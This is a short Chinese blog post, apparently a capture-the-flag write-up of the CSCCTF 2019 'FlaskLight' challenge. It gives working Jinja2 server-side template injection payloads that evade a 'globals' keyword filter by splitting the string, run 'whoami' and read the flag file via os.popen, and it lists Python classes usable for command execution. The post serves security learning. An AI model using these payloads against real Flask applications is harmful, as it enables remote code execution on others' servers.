[CSCCTF 2019 Qual]FlaskLight (ssti可用的多个命令执行类)

是一个jinjia2的模板渲染,之前知道的命令执行类只有一个os._wrap_.close,这次用__subclasses__()列出来所有子类后,查找并没有发现os._wrap_.close类,其实除了os._wrap._close类,还有很多其他可用的命令执行类:

可以命令执行的类有6个

site._Printer 
site.Quitter
warnings.catch_warnings
os._wrap_close
popen
Popen

这道题过滤了globals关键字

第一种payload(使用config)

{{config.__init__['__glob'+'als__'].os.popen("whoami").read()}}

 

第二种payload(标准版)

这里的__subclasses__()[59]是warnings.catch_warnings类

{{[].__class__.__base__.__subclasses__()[59].__init__['__glo''bals__']['__buil''tins__']['eval']("__import__('os').popen('more /flasklight/coomme_geeeett_youur_flek').read()")}}
posted @ 2023-06-30 15:37  Galio  阅读(29)  评论(0编辑  收藏  举报